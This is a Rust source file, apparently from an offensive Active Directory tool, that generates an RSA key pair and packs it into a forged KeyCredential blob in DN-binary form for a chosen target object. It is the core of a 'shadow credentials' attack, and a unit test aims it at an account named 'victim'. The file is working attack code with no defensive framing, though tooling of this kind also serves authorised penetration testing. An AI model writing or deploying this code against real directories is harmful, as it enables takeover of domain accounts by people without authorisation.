use rand::RngCore;
use rsa::pkcs8::EncodePrivateKey;
use rsa::traits::PublicKeyParts;
use rsa::RsaPrivateKey;
use sha2::{Digest, Sha256};
fn sha256(data: &[u8]) -> [u8; 32] {
let mut h = Sha256::new();
h.update(data);
h.finalize().into()
}
fn entry(id: u8, value: &[u8]) -> Vec<u8> {
let mut e = (value.len() as u16).to_le_bytes().to_vec();
e.push(id);
e.extend_from_slice(value);
e
}
fn now_filetime_le() -> [u8; 8] {
use std::time::{SystemTime, UNIX_EPOCH};
let secs = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs();
((secs + 11_644_473_600) * 10_000_000).to_le_bytes()
}
pub struct KeyCredential {
pub dn_binary: String,
pub private_key_pem: String,
}
pub fn build_key_credential(target_dn: &str) -> anyhow::Result<KeyCredential> {
let mut rng = rand::thread_rng();
let priv_key = RsaPrivateKey::new(&mut rng, 2048)?;
let pub_key = priv_key.to_public_key();
let n = pub_key.n().to_bytes_be();
let e = pub_key.e().to_bytes_be();
let mut km = b"RSA1".to_vec();
km.extend_from_slice(&2048u32.to_le_bytes());
km.extend_from_slice(&(e.len() as u32).to_le_bytes());
km.extend_from_slice(&(n.len() as u32).to_le_bytes());
km.extend_from_slice(&0u32.to_le_bytes()); km.extend_from_slice(&0u32.to_le_bytes()); km.extend_from_slice(&e);
km.extend_from_slice(&n);
let mut device_id = [0u8; 16];
rng.fill_bytes(&mut device_id);
let ft = now_filetime_le();
let mut tail = Vec::new();
tail.extend(entry(0x03, &km)); tail.extend(entry(0x04, &[0x01])); tail.extend(entry(0x05, &[0x00])); tail.extend(entry(0x06, &device_id)); tail.extend(entry(0x07, &[0x01, 0x00])); tail.extend(entry(0x08, &ft)); tail.extend(entry(0x09, &ft));
let key_id = sha256(&km);
let key_hash = sha256(&tail);
let mut blob = 0x0000_0200u32.to_le_bytes().to_vec(); blob.extend(entry(0x01, &key_id)); blob.extend(entry(0x02, &key_hash)); blob.extend(&tail);
let hex = hex::encode(&blob);
let dn_binary = format!("B:{}:{}:{}", hex.len(), hex, target_dn);
let pem = priv_key
.to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)?
.to_string();
Ok(KeyCredential {
dn_binary,
private_key_pem: pem,
})
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn key_credential_blob_shape() {
let kc = build_key_credential("CN=victim,DC=corp,DC=local").unwrap();
assert!(kc.dn_binary.starts_with("B:"));
assert!(kc.dn_binary.ends_with(":CN=victim,DC=corp,DC=local"));
assert!(kc.private_key_pem.contains("PRIVATE KEY"));
let hex = kc.dn_binary.split(':').nth(2).unwrap();
assert!(hex.starts_with("00020000"));
}
}